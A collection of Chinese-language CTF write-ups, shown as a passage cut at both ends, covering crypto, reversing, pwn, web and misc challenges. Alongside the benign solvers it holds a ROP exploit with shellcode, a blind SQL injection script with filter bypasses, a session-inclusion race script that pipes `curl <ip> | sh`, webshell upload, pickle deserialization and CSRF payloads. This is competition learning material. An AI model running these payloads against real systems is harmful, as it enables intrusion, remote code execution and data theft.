和 k[i - 1][j]
可以计算出 k[i][j - 1]
(因为 p
是质数,所以直接求逆即可)。
然后 output.txt 里面给出了最后的 k
,即 k[..][5]
。于是我们就可以用上面所说的方法,从 k[..][5]
算出 k[..][4]
,从 k[..][4]
算出 k[..][3]
……直至算出 k[..][0]
,也就是 flag。
所以最后的过程就是枚举 p
,然后对 k
做逆运算求出 flag
,并顺便判断一下 flag 合不合法(需要是可打印字符)。
from Crypto.Util.number import *
+import more_itertools
+import string
+
+out = [ 0x2066, 0xa222, 0xcbb1, 0xdbb4, 0xdeb4, 0xb1c5, 0x33a4, 0xc051, 0x3b79, 0x6bf8,
+ 0x2131, 0x2c40, 0x91ba, 0x7b44, 0x5f25, 0x0208, 0x7edb, 0x62b5, 0xcec5, 0x5ab3, 0x3c46,
+ 0xc272, 0x714b, 0x9e0b, 0x48ee, 0x44cc, 0x05a0, 0x3da3, 0x11b1, 0x259f, 0x899d, 0xa130,
+ 0xe58f, 0x23f3, 0x5829, 0x6beb, 0x3681, 0x0054, 0xa189, 0x2765, 0xc63d, 0xbc68 ]
+
+def solve_with(p):
+ now = out
+ for k in range(5):
+ now = [ y * pow(x, -1, p) % p for x, y in more_itertools.windowed(now, n=2, step=1) ]
+ if max(now) < 256:
+ print(bytes(now))
+
+for p in range(max(out) + 1, 2**16):
+ if isPrime(p):
+ solve_with(p)
+
+已知 sha(手机号) = c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc
,且“手机号是170号段首批放号的联通号码”。
联通号码,那肯定是中国的,所以国家代码是 86
,然后“首批放号的联通号码”,稍微查一下,就能发现号码段是 1709
,多一位。所以手机号的前 6 位就出来了:861709
。
然后 sha 出来的长度是 64 位的 hex,所以这是个 sha256。
+用 hashcat 跑一下最后的 7 位数字:
+$ hashcat -a 3 -m 1400 'c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc' '861709?d?d?d?d?d?d?d' -O --force
+
+...
+c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc:8617091733716
+...
+
+就可以拿到手机号:8617091733716
(也就是 flag)。
go正向,按逻辑把前两个print的字符串拿出来:
+Input the first function, which has 6 parameters and the third named gLIhR:
+Input the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6:
+
+上边很多函数,但一搜包含字符串的函数复杂度只有180*50,好像挺能接受的
+正则搜一下第一个,发现只有五个匹配(这里后半段贪心了,肉眼过一遍发现实际只有一个是正确的)
+\(.*?,.*?, gLIhR.*?,.*?, .*?, .*?\)
就找到了第一段的答案 +
+然后搜第二个调用cHZv5op8rOmlAkb6(.*?)
,同时函数名的出现次数==5(多余的在字符串转函数引用的那个方法里和它自身好像)
只有50多个,准备挨个都手搜一下同名函数个数,结果第二个就正好符合5个 + +直接把函数一二两个字符串放到go在线环境https://go.dev/play/ 一跑就出来了 +
+exeinfo_pe 查到是UPX,但提示文件被hack不能直接脱,IDA打开提示IAT炸了 +
+010打开发现有FUK01 FUK02,想到最简单的之前看博客讲魔改UPX的方法就是把UPX01抹掉,果断把两个FUK换成UPX,exeinfo再查就提示能正常脱了 +
+这时候upx -d直接解,放到IDA里发现看起来像VSStudio debug模式编译的程序,shift f12找到了flag正确的字符串,引用跟入到函数,看下调用的其他函数发现大致逻辑: +
+字符串比较
+4B48791345305C495A7913706D78136F485D6464
+
add 10
, XOR 0X50
+
XOR 0X66
+
然后反着操作一遍就得到了flag
+CyberChief配方:
+cyberchief/CyberChef_v9.46.0.html#recipe=From_Hex('Auto')XOR(%7B'option':'Hex','string':'50'%7D,'Standard',false)
+SUB(%7B'option':'Hex','string':'A'%7D)ADD(%7B'option':'Hex','string':'A'%7D/disabled)XOR
+(%7B'option':'Hex','string':'66'%7D,'Standard',false)&input=NEI0ODc5MTM0NTMwNUM0OTVBNzkxMzcwNkQ3ODEzNkY0ODVENjQ2NA
+
+没点开497就先做了这题
+以为是blind-pwn然后就上去去一通乱摸,考虑有什么可执行程序能读文件并报错的,队里的师傅找到了cc1plus编译并输出到stdout可以爆出flag:
+lib/gcc/x86_64-linux-gnu/5/cc1plus -o- flag
lib/gcc/x86_64-linux-gnu/5/cc1plus -o- flag
+做完349点开一看发现了497的附件(?),于是同样的payload拿到flag,大概是349非预期了罢
签到,答案可以为空,可以单个爆破不确定的题目
+ + + + + + + + +++(第二届广东大学生网络安全攻防大赛)
+
+【HED CTF / COMPASS CTF】 WriteUp
+Rank:9 (total 504) Solve:8 Pts:1947
写WP时候发现远程的bss是RWX的,直接ret2bss就完了,为什么IDA和readelf都说bss是RW的呢?
+更惨的是,这题好像有jmp rsp的gadget。。。
+怎么有不读题就开始造链子的人呢 XD 可能这就是我变不PWN的原因吧
checksec显示有canary,其他保护全无,栈段RWX
+IDA打开,程序逻辑非常简单,在read处也无canary,但是看起来这是个静态编译的二进制,没有引用的外部函数。
+先想到的是:写bss格式化字符串 + printf rop泄露栈地址 + 栈上ret2shellcode
+但是大概是没设置小缓冲区的原因,程序直到退出才吐出输出,在远程就拿不到任何输出,所以考虑不利用输出的getshell
+这题没有libc也不能ret2dl,但是有mprotect函数,可以改段权限,于是构造:
+shellcode写到bss + mprotect改bss权限 + bss上ret2shellcode
exp:
+from pwn import p64
+from pwn import *
+
+# context.log_level = "debug"
+e = ELF('jmp_rsp')
+p = remote("47.106.122.102", 45286)
+# p = e.process()
+read_addr = 0x449380 # elf.sym["read"]
+vul_addr = 0X400b5d
+mprot_addr = 0x44a160
+printf = 0x40f690
+rdi = 0x401902
+rsi_r15 = 0x401900
+bss_addr = e.bss()
+print(bss_addr)
+p_write_bss = b'a' * 0x88 + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_addr) + b'a' * 8 + p64(read_addr) + p64(vul_addr)
+p.send(p_write_bss + b'c' * (0x100 - len(p_write_bss)))
+shell_code = \
+ b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
+p.send(shell_code + b'c' * (0x100 - len(shell_code)))
+
+payload = b'a' * 0x88 + p64(0x4018F5) + p64(vul_addr) + p64(0) + p64(1) + p64(mprot_addr) + p64(7) + p64(0x100000) + p64(0x600000) + p64(bss_addr)
+p.send(payload + b'c' * (0x100 - len(payload)))
+p.interactive()
+
+想起了HackNat里边的一个剧情:一个人把他的密码设成*******,这样如果有一天密码被盗了,别人也会以为没拿到真正的密码。
+队里密码师傅说是智商检测题,她说是就是吧...
很简单的异或加密,枚举 key 再异或回来即可。
+d = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-=[]\\;',./`~!@#$%^&*()_+{}|:\"<>?"
+e = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-{}"
+
+with open("cipher", "r") as f:
+ cipher = f.read()
+
+for o in range(0, len(d)):
+ for p in range(0, len(d)):
+ for q in range(0, len(d)):
+ for r in range(0, len(d)):
+ key = d[o] + d[p] + d[q] + d[r]
+ flag = ""
+ f = True
+ for i in range(len(cipher)):
+ m = ord(cipher[i]) ^ ord(key[i%4])
+ flag += chr(m)
+ if (e.find(chr(m)) == -1):
+ f = False
+ break
+ if f:
+ print(flag, key)
+
+flag{fccb0665-bce5-d329-aca7-99179bdc9ed3}
没想到这个 key 就是 xxxx
,flag 也没有 padding,小丑竟是我自己。
把内容拿出来,然后统计一下,再排个序,最后提交一下就行了。
+import requests
+import re
+
+RE = re.compile(r'^([a-zA-Z0-9]*)<td>', re.MULTILINE)
+
+def f(r):
+ p = {}
+ for c in r:
+ if c in p:
+ p[c] += 1
+ else:
+ p[c] = 1
+ a = [ (v, k) for (k, v) in p.items() ]
+ a = sorted(a)
+ return ''.join([ c[1] for c in a ])
+
+s = requests.Session()
+r = s.get('http://120.79.191.238:42399')
+
+while True:
+ print(r.text)
+ m = re.search(RE, r.text)
+ a = m.group(1)
+ a = f(a)
+
+ r = s.post('http://120.79.191.238:42399', data={'ans': a})
+
+经测试和观察,~~不难~~发现广告名是是有注入点的,可以用 '||{sql}||'
的方式注入。然后广告提交之后,可以查看详情,通过观察这条广告是否正常显示,就可以知道 {sql}
的条件是否为真。所以可以用盲注。
并且可以发现,广告名是有关键词过滤的,包括 in
, or
, and
, union
, password
等,其中 and
和 or
可以用 &&
和 ||
绕过。
然后由于屏蔽了 in
和 or
导致没有办法通过 information_schema
或 mysql.innodb_table_stats
查询表名和列名,且 MariaDB 没有 sys 库。
故使用伟大的盲猜方法(指猜了好几个小时),猜出里面有一个 ads
表,里面有 22 列;一个 users
表,有 id
, name
和感觉有的 password
三列(但是并没有什么卵用,因为 admin 帐号啥都没有)。
然后又使用盲猜大法(admin的md5搜到了极其相似的题目,考虑可能有flag字段/表/库),找到了一个 flag
表,然后在未知列名的情况下,用 SELECT (SELECT * FROM flag) >= (SELECT 1, {string})
来盲注,就可以拿到一个没有区分大小写的 flag。
小小爆破了一下flag,因为太菜了没不到大小写敏感的注入查询方法(过滤了bINary,MariaDB还没有json)
+然后又 xjb 枚举,发现 flag 只有 sql
的首位大写,即 flag{Sql_1nj3cti0n_1s_s0_easy}
,提交可过。
import requests
+import re
+
+cookies = {'PHPSESSID': '_______________'}
+RE = re.compile(r'detail\.php\?id=(\d+)')
+
+def clear_list():
+ requests.get('http://120.79.141.85:47930/empty.php', cookies=cookies)
+
+def add_ads(title):
+ global aid
+ payload = {'title': title, 'content': 'Elaina is best', 'ac': 'add'}
+ r = requests.post('http://120.79.141.85:47930/addads.php', cookies=cookies, data=payload)
+ aid += 1
+ assert '已发送申请' in r.text, title
+
+def check_sql(sql):
+ global aid
+ if aid % 10 == 0:
+ clear_list()
+ add_ads('1')
+ sql = sql.replace(' ', '/**/')
+ add_ads(f"'||{sql}||'")
+ requests.get(f'http://120.79.141.85:47930/index.php', cookies=cookies)
+ r = requests.get(f'http://120.79.141.85:47930/detail.php', params={'id': str(aid)}, cookies=cookies)
+ return '待管理确认' in r.text
+
+class CharBinarySearch:
+ def __init__(self):
+ self.l = 0
+ self.r = 128
+
+ def is_done(self):
+ return self.l + 1 >= self.r
+
+ def middle(self):
+ return (self.l + self.r) // 2
+
+ def update(self, r):
+ if r:
+ self.l = self.middle()
+ else:
+ self.r = self.middle()
+
+def main():
+ global aid
+ aid = 0
+
+ clear_list()
+ add_ads('1')
+ r = requests.post('http://120.79.141.85:47930/index.php', cookies=cookies)
+ aid = int(re.search(RE, r.text).group(1))
+ print(f'Initial ID: {aid}')
+
+ # # 可爆破出列数
+ # for i in range(1, 64):
+ # s = ','.join(["''"] * i)
+ # r = check_sql(f"(SELECT (SELECT {s})<(SELECT * FROM flag LIMIT 1))=true")
+ # print(i, r)
+
+ content = ''
+ for i in range(len(content) + 1, 128):
+ s = CharBinarySearch()
+ while not s.is_done():
+ # r = check_sql(f"(SELECT HEX(SUBSTR(database(),{i},1))>=HEX({s.middle()}))")
+
+ p = content + chr(s.middle())
+ p = hex(int.from_bytes(p.encode(), 'big'))
+ r = check_sql(f"(SELECT (SELECT * FROM flag) >= (SELECT 1, {p})) = 1")
+ # r = check_sql(f"((SELECT HEX(SUBSTR(name,{i},1)) FROM users LIMIT 1 OFFSET 0)>=HEX({s.middle()}))")
+
+ print(f'{i} {s.middle()} => {r}')
+ s.update(r)
+ content += chr(s.l)
+ print(content)
+
+if __name__ == '__main__':
+ main()
+
+随便点点,发现http://119.23.247.96:45837/action.php?file=2.txt 可以读文件,尝试包含action.php自身,发现卡顿且无返回,说明包含方式很可能是include
+先看一眼服务器是apache,不能包含日志拿shell,于是考虑看看PHP的源码
+伪协议读到源码http://119.23.247.96:45837/action.php?file=php://filter/convert.base64-encode/resource=action.php
+开头看到session_start()大概率是session包含,偷懒直接用session竞争的板子拿shell
import io
+import requests
+import threading
+
+sessid = 'TGAO'
+data = {"cmd": "system('curl 106.52.237.196 | sh');"}
+
+
+def write(session):
+ while True:
+ f = io.BytesIO(b'a' * 1024 * 50)
+ resp = session.post('http://119.23.247.96:45837/action.php',
+ data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
+ files={'file': ('tgao.txt', f)}, cookies={'PHPSESSID': sessid})
+
+
+def read(session):
+ while True:
+ resp = session.post('http://119.23.247.96:45837/action.php?file=/tmp/sess_' + sessid, data=data)
+ if 'tgao.txt' in resp.text:
+ print(resp.text)
+ event.clear()
+
+
+if __name__ == "__main__":
+ event = threading.Event()
+ with requests.session() as session:
+ for i in range(1, 30):
+ threading.Thread(target=write, args=(session,)).start()
+ for i in range(1, 30):
+ threading.Thread(target=read, args=(session,)).start()
+ event.set()
+
+运行后立刻在vps上成功收到了反弹的shell(应该不用这么暴力也能解)
+套娃题。
+观察到可疑 HTTP 请求,导出响应文件。
+
发现所有的文件后缀都不符合真实的文件类型,逐一修改文件后缀名。
+其中 md 文件看文件尾能知道是 zip,但是它的文件头坏了。通过对比正常的 zip 文件,发现只是缺少了最开始的两个 bytes,手动补全即可。
+
解压缩 pass.zip
,得到纯文本文件 Eva
。
+
观察到大量的 =E2=80=82
,有点像 unicode 控制字符,全部换成空格。行尾的 =
似乎代表着换行,全部删掉。这样就可以得到密文。
Emklyusg gni bvvymlag tsqic colz jxmoxvl tiwhz ebmee, Zhjeoig Krpvpi-Zgvlyvx Evdr or olv Rbtm bl Gcscckh une fz e tftstrtkdrx rxeb suv olfqx dpb tizh km kliq ox hsjr: mom luyik, kfx dwhrh-wi iympwagp, vru ral qzveomvlm. Aw fgc olrr fhvl nivpkf vhzr vvjjvqlpwagpn jrje pvgu xcijc vhbrmsmmvq bz vbz xj jrsea bukq wyk kxymye xj hvqvyqok xcid. Uav jrorb cfsgn knt oisn uahb vz mn pzix aw ok sgh? Nfh aznorzh zl plagkvi wtgxubvlmx qvbbjqak hvvvq gvb gxc os sc khbvurvp? Wjtn qf rmai zq yhvggwomt.Ygk euu gvyxfm bx vt xci kylr-weoiixvb btxrxeommc hm kbtxzqgmkhzl siymtggl knt xmycw vsivs xci mgkacr uj kekgxukr? Kzzr scyvzr seiexcw-jiek mimkgtaqikw ns xpxhbye migictzmq zlz ticlzcek, tccjgvpiay azvv dttwhypt xzkx-kzvbii, xiybumq zs nivi xmnvimzrtw bu iyr xcmeel, jiek sa trrblvgy tmsdgglvgrc vqflz aprs. Xj wlaa wmeysiw, kfx apbakcx fd kliqorb e emolt zgc nivk t wzblpdkrrx difzi jj kgfl. Eue wkieb avcey vzeuggn iouyo ayym umikv cegnxumq? Zldw hsxzbvur cej zxlv rrslyvlmsg ntwriicw vdrx xci pctya oe xcsjc pow hyi gmkckhbhxi dr dcwpknr iyytympwa.
+
+大小写、单词长度和标点符号都非常像自然语言。
+e emolt zgc nivk t
的 e
和 t
应该都是代表 a
,也就是说这不是一一对应的置换。用 quipquip 也没有跑出结果。(密文是全可见字符,标点正确,明文推测也是全可见字符,且不是单表替换,因此)凭感觉是 Vigenère Encode,但是不知道 key 是什么,反正不是文件名 Eva
。
+后来在 flaggggggg.doc
中找到了隐藏的白色小字,Key:everything
。于是此题结束。
Arguably the greatest novel ever written about aging, Gabriel Garcia-Marquez Love in the Time of Cholera may be a challenging text for those who need to read it most: the young, the would-be rational, and the impatient. To say that many health care professionals fall into these categories is not to fault them but merely to describe them. Who being young can know what it is like to be old? Who trained in western scientific medicine dares not try to be rational? Flag is life is fantastic.And who caught up in the task-oriented imperative of contemporary medicine can truly claim the virtue of patience? Even before managed-care initiatives so greatly increased the pressure, physicians were famously time-driven, trained to seek efficiency in all things, care of patients prominently among them. To such persons, the thought of reading a novel may seem a profligate waste of time. Why spend hours reading about what never happened? This question has been eloquently answered over the years by those who use literature in medical education.
+
+flag{life_is_fantastic}
签到,提前关注主办方公众号是好文明,光速一血
+使用GitHub上的pyinstxtractor.py解包exe,被提醒
+[+] Python version: 37
+[!] Warning: This script is running in a different Python version than the one used to build the executable.
+[!] Please run this script in Python37 to prevent extraction errors during unmarshalling
+
+于是更换到python3.7再次运行,得到了正常解包的1.pyc
+pycdc还是不干活,于是试试在python3.7-3.8工作良好的uncompyle6反编译,得到清晰的代码:
def check():
+ a = input('plz input your flag:')
+ c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
+ if len(a) != 42:
+ print('wrong length')
+ return 0
+ b = 179
+ for i in range(len(a)):
+ if ord(a[i]) * 33 % b != c[i]:
+ print('wrong')
+ return
+
+ print('win')
+
+
+check()
+
+仿射,但是简单遍历输入就能得到正确的flag:
+c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152, 78, 171, 12, 53, 105, 45, 12, 12, 53, 12,
+ 171, 111, 91, 53, 152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
+for i in c:
+ for a in range(32, 127):
+ if a * 33 % 179 == i:
+ print(chr(a), end="")
+
+
+
+
+
+
+
+
+
+ Rank: 74 708pts 10Solved
+HED 是南方科技大学COMPASS实验室的CTF战队
解题情况(全部10题):
+签到
+问卷
+首先看 config.json
的内容,发现很像 v2ray 的配置文件,于是手搓 VMess 协议。这部分没啥好说的,就看规范和代码直接对着实现一遍,确实硬核。
import hmac
+import hashlib
+from Crypto.Hash import SHAKE128
+from Crypto.Cipher import AES
+
+uuid = bytes.fromhex('b831381d63244d53ad4f8cda48b30811') # 取自 config.json
+
+def get_timestamp(f):
+ correct = f.read(16)
+ t0 = 1615528962 # 取自 pcap 的时间
+ for t in range(t0 - 60, t0 + 60):
+ h = hmac.new(uuid, int.to_bytes(t, 8, byteorder='big'), digestmod='MD5')
+ if h.digest() == correct:
+ return t
+
+def decode_send_header(f, t):
+ key = hashlib.md5(uuid + b'c48619fe-8f02-49e0-b9e9-edf763e17e21').digest()
+ iv = hashlib.md5(int.to_bytes(t, 8, byteorder='big') * 4).digest()
+ cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=AES.block_size*8)
+ header = cipher.decrypt(f.read(38))
+ iv = header[1:17]
+ key = header[17:33]
+ return iv, key
+
+def decode_recv_data(f, iv, key):
+ iv = hashlib.md5(iv).digest()
+ key = hashlib.md5(key).digest()
+ shade = SHAKE128.new(data=iv)
+
+ f.seek(4)
+ data = b''
+ count = 0
+ while True:
+ padding = int.from_bytes(shade.read(2), byteorder='big') % 64
+ length = int.from_bytes(f.read(2), byteorder='big') ^ int.from_bytes(shade.read(2), byteorder='big')
+ if length - padding == 16:
+ break
+ chunk = f.read(length)
+ if padding > 0:
+ chunk = chunk[:-padding]
+
+ chunk_iv = int.to_bytes(count, 2, byteorder='big') + iv[2:12]
+ cipher = AES.new(key, AES.MODE_GCM, chunk_iv)
+ chunk = cipher.decrypt_and_verify(chunk[:-16], chunk[-16:])
+ data += chunk
+ count += 1
+ return data
+
+if __name__ == '__main__':
+ with open('send.dat', 'rb') as f:
+ t = get_timestamp(f)
+ iv, key = decode_send_header(f, t)
+ with open('recv.dat', 'rb') as f:
+ data = decode_recv_data(f, iv, key)
+ with open('content.txt', 'wb') as f:
+ f.write(data)
+
+然后发现是一个 HTTP 请求,把 html 里面的东西保存,得到了一个 0208_54741869750132.doc
。
doc文档下载后火绒报毒不断,分离出的dll文件看起来并不简单,考虑到大概率要提取宏病毒中的API地址,直接把文件上传到微步云沙箱分析行为,发现是真的病毒(https://s.threatbook.com/report/file/3a5648f7de99c4f87331c36983fc8adcd667743569a19c8dafdd5e8a33de154d)
+同时在样本报告里找到了api地址 api.ipify.org
+(看起来并不是只有我们是这样做的,写wp时发现7月31又被上传了几次)
解压后拿到一个自称是GOB文件的二进制,怀疑是go的序列化对象或者是游戏资源文件,把文件头8字节十六进制放到谷歌里可以搜到一个github的poc仓库,因此确认该文件是go的打包文件。
+用 pygob 读取,里面有时间戳 2022-07-19 14:49:56
和一个所谓的 PNG 文件,但是这个 PNG 打不开。
然后根据提示(~~唯一有用的提示~~),这个文件打乱过。然后因为有时间,所以可以考虑用时间作为种子,把这个随机过程还原。
+func main() {
+ rand.Seed(1658213396) // 2022-07-19 14:49:56
+
+ raw, err := os.ReadFile("p.png")
+ len := len(raw)
+ mapping := make([]int, len)
+ data := make([]byte, len)
+
+ for i := 0; i < len; i++ {
+ mapping[i] = i
+ }
+ rand.Shuffle(len, func(i, j int) {
+ mapping[i], mapping[j] = mapping[j], mapping[i]
+ })
+ for i := 0; i < len; i++ {
+ data[mapping[i]] = raw[i]
+ }
+
+ f, err := os.Create("q.png")
+ f.Write(data)
+}
+
+然后还原之后,就得到了一张正常的 PNG 图片。不过里面也不直接是 flag。经过观察,图片的白色部分和蓝色部分都是全白或全蓝,没有信息。不过字的边缘有点意思。经过尝试,发现排除全白和全蓝像素之后,把 alpha 的数据直接提取拼接之后,就是 flag 了。
+from PIL import Image
+img = Image.open('q.png')
+for x in img.getdata():
+ if x != (255, 255, 255, 255) and x != (0, 0, 255, 255):
+ print(hex(x[3])[2:], end='')
+ # 然后把输出 hex 解码一下即可
+
+(推测强网先锋是难度较低的题目,但是分类未知)
+私有环境,猜测需要简单扫描,御剑尝试100条常见路径发现www.zip源码。
+上传文件后缀过滤很严格,且没什么绕过的机会,前边也被拼接了md5,不能传.htacess
+于是把所有php合法扩展名都试一遍(https://book.hacktricks.xyz/pentesting-web/file-upload) ,发现phps文件会403,继续测试剩余扩展名发现phar文件可以解析。
+传马,结束。
+factordb只能获得开方的结果。
+分解四个128位质数的乘积应该并不复杂,放到yafu里单线程跑不到一小时就能出来
+SIQS elapsed time = 8.5662 seconds.
+Total factoring time = 2415.3993 seconds
+
+P39 = 223213222467584072959434495118689164399
+P39 = 260594583349478633632570848336184053653
+P39 = 218566259296037866647273372633238739089
+P39 = 225933944608558304529179430753170813347
+
+e和phi不互素,数理基础匮乏的我们并没有用phi = (p-1)*(q-1)*(r-1)*(s-1)*p*q*r*s
梭出答案
在 https://www.modb.pro/db/404740 的讨论中找到能用的脚本,抄过来改少一个因子
+sage部分
+n = p * q * r * s * p * q * r * s
+e = 3
+print(n)
+phi = (p - 1) * (q - 1) * (r - 1) * (s - 1)
+R.<x> = Zmod(p)[]
+f = x ^ e - c
+f = f.monic()
+res1 = f.roots()
+
+R.<x> = Zmod(q)[]
+f = x ^e - c
+f = f.monic()
+res2 = f.roots()
+
+R.<x> = Zmod(r)[]
+f = x ^e - c
+f = f.monic()
+res3 = f.roots()
+
+R.<x> = Zmod(s)[]
+f = x ^e - c
+f = f.monic()
+res4 = f.roots()
+
+print(res1,res2,res3,res4,sep='\n')
+
+python部分
+res1=[(61230132932186378005663689217798805559, 1)]
+res2=[(127287570627900634195349274487282947698, 1)]
+res3=[(159183122833201520722281740271702531008, 1), (54017009972585088360569997378772209006, 1), (5366126490251257564421634982763999075, 1)]
+res4=[(97828969479259149226856141068289169207, 1), (84132055525449472521332928867042183796, 1), (43972919603849682780990360817839460344, 1)]
+
+def union(x1, x2):
+ a1, m1 = x1
+ a2, m2 = x2
+ d = gmpy2.gcd(m1, m2)
+ assert (a2 - a1) % d == 0
+ p1, p2 = m1 // d, m2 // d
+ _, l1, l2 = gmpy2.gcdext(p1, p2)
+ k = -((a1 - a2) // d) * l1
+ lcm = gmpy2.lcm(m1, m2)
+ ans = (a1 + k * m1) % lcm
+ return ans, lcm
+
+
+def excrt(ai, mi):
+ tmp = zip(ai, mi)
+ return reduce(union, tmp)
+
+
+for i in res1:
+ for j in res2:
+ for k in res3:
+ for l in res4:
+ ai = [i[0], j[0], k[0], l[0]]
+ # print(ai)
+ mi = [p, q, r, s]
+ flag = excrt(ai, mi)
+ flag = hex(flag[0])
+ try:
+ print(bytes.fromhex(flag[2:]))
+ except:
+ ...
+
+给出等式 $a(x) \times b(x) + c(x) = r(x)$,并给出多项式 $a(x), c(x), r(x)$,求 $b(x)$。
+移一下项,得到 $b(x) = \big( r(x) - c(x) \big) \div a(x)$,前面减法部分很 trivial,后面除法的部分,因为已知能整除,所以直接上多项式除法即可。
+from pwn import *
+import hashlib
+import itertools
+
+conn = remote('IP', PORT)
+
+def proof():
+ line = conn.recvline().decode().strip()
+ conn.recv()
+ hexdigest = line.split(' == ')[1]
+ suffix = line[12:28]
+ charset = string.ascii_letters + string.digits
+ for x in itertools.product(charset, repeat=4):
+ plain = ''.join(x) + suffix
+ if hashlib.sha256(plain.encode()).hexdigest() == hexdigest:
+ conn.sendline(''.join(x))
+
+def decode_poly(line):
+ line = line.split(' = ')[1]
+ arr = None
+ for item in line.split(' + '):
+ p = 0 if item == '1' else (1 if item == 'x' else int(item[2:]))
+ if arr is None:
+ arr = [ 0 for _ in range(p + 1) ]
+ arr[p] = 1
+ return arr
+
+def poly_add(x, y):
+ if len(x) < len(y):
+ x, y = y, x
+ x = x[:]
+ for i in range(len(y)):
+ x[i] = (x[i] + y[i]) % 2
+ return x
+
+def poly_div(x, y): # x / y
+ x = x[:]
+ b = [ 0 for _ in range(len(x)) ]
+ low = min([ i for i, v in enumerate(y) if v == 1 ])
+ for i in range(len(x) - low):
+ c_pos = i + low
+ if x[c_pos] != 0:
+ b[i] = 1
+ for j in range(len(y)):
+ x[i + j] = (x[i + j] + y[j]) % 2
+ return b
+
+def solve():
+ pr = decode_poly(conn.recvline().decode().strip())
+ pa = decode_poly(conn.recvline().decode().strip())
+ pc = decode_poly(conn.recvline().decode().strip())
+ conn.recvline() # Please give me the b(x) which satisfy a(x)*b(x)+c(x)=r(x)
+ conn.recv() # > b(x) =
+
+ pb = poly_div(poly_add(pr, pc), pa)
+ terms = []
+ for i, v in list(enumerate(pb))[::-1]:
+ if v != 0:
+ terms.append('1' if i == 0 else ('x' if i == 1 else f'x^{i}'))
+ conn.send(' + '.join(terms))
+ print(conn.recvline()) # Success!
+
+if __name__ == '__main__':
+ proof()
+ for _ in range(40):
+ solve()
+ conn.interactive()
+
+这个 bot 的主要功能就是可以用 bugreport http://host:port/login
这条指令,让服务器访问这个网站。经过测试,它是可以运行 JavaScript 的。
然后发现 admin
已经被注册了,不过我们可以尝试修改它的密码,然后尝试登录。从题面的 docker
命令可以知道它在本地的端口是 8888
,所以构造一个 html 文件,来向 127.0.0.1 发送修改密码指令:
<html><body><script>
+ws = new WebSocket('ws://127.0.0.1:8888/bot');
+ws.onopen = function() {
+ ws.send('changepw 123456');
+}
+</script></body></html>
+
+然后修改完之后用 admin
和 123456
登录,就可以到一个购物小车的后台。然后发现只有 200$,买不了 flag。不过通过观察源码,可以知道购买的逻辑分布在两个不同的后端中,其中一个检查金钱够不够,另外一个将买到的东西加入到用户属性中。所以就可以尝试走私,让「检查金钱」的觉得不用买,通过检查,让「买东西」的可以成功买到东西。经测试,下面的 payload 可以成功走私:
{
+ "product":[{"id":1,"num":0},{"id":2,"num":0}],
+ "product":[{"id":1,"num":1},{"id":2,"num":1}]
+}
+
+观察源码:
+@app.route('/balancer', methods=['GET', 'POST'])
+def flag():
+ pickle_data=base64.b64decode(request.cookies.get("userdata"))
+ if b'R' in pickle_data or b"secret" in pickle_data:
+ return "You damm hacker!"
+ userdata=pickle.loads(pickle_data)
+ if userdata.token!=hash(get_password(userdata.username)):
+ return "Login First"
+ if userdata.username=='admin':
+ return "Welcome admin, here is your next challenge!"
+ return "You're not admin!"
+
+一眼看上去就是 pickle 反序列化利用。但是这里禁用了 R
指令,不过问题不大,这里可以直接用 o
来平替。即 <func>(<args>tR
等价于 (<func><args>o
。把 pker.py 脚本简单修改一下之后就能拿来用了。
(这里队内的M神已经RCE了,但是发现没权限读nginx的配置文件,环境也是很新的好像并没有什么提权的机会)
+然后下一步就是让 token != hash(...)
为 False
,这个我一开始尝试从 app.get_password
和 admin.secret
拿密码,但是拿不到。所以尝试将 token
变成一个对象,然后把这个对象的 __ne__
hack 为永远返回 False
。
下为 payload:~~发现不知道为啥不需要绕 secret
,不过要绕过也很简单,拿 str.__add__
绕即可~~
partial = GLOBAL('functools', 'partial')
+getattr = GLOBAL('__builtin__', 'getattr')
+OrderedDict = GLOBAL('collections', 'OrderedDict')
+startswith = getattr(GLOBAL('__builtin__', 'str'), 'startswith')
+User = GLOBAL('app', 'User')
+
+false = partial(startswith, '1', '2')
+user.__ne__ = false
+forever_ne = User('1', '2')
+
+data = OrderedDict()
+data.token = forever_ne
+data.username = 'admin'
+
+return data
+
+然后这个 payload 扔上去之后就进到了一个均衡负载页面。结合时事(指某垃圾二次元视频网站的事故分析),发现把 weight
设置成 0 可以让 gcd
函数死循环,最终 504 从而拿到 flag。
GitHub可以根据运行时的标题搜到原始的仓库,对照dnspy的结果简单看一下是多了一个大的后门函数,以及dll多了一个gencode,但是并没有用到。
+exe里的后门函数有三个checkpoint,第一步取出message数据,第二步xor 34,第三步AES-ECB解密,密钥Brainstorming!!!
解密的文件前半段被赛博厨子识别为ttf字体,但是后半段显然有函数,导出给binwalk看一下被告知后半段有exe,但是没有自动分离出来,手动找到mz头分离出发现还是.net程序,继续给dnspy分析,定位到校验flag的函数,x y z三个ULONG变量未知,结果已知,flag密文已知,求得xyz即可获得解密密钥。
+结果的40个byte的每一位对应一轮的result,于是队友M神直接给Z3丢了320个约束条件,10秒就跑出来了xyz。
+(怎么klee跑了10分钟都没结果呢。STP和Z3差距这么大吗)
+import z3
+
+def rotate():
+ global x, y, z
+ x = ((((x >> 29) ^ (x >> 28) ^ (x >> 25) ^ (x >> 23)) & 1) | (x << 1)) & 0xFFFFFFFFF
+ y = ((((y >> 30) ^ (y >> 27)) & 1) | (y << 1)) & 0xFFFFFFFFF
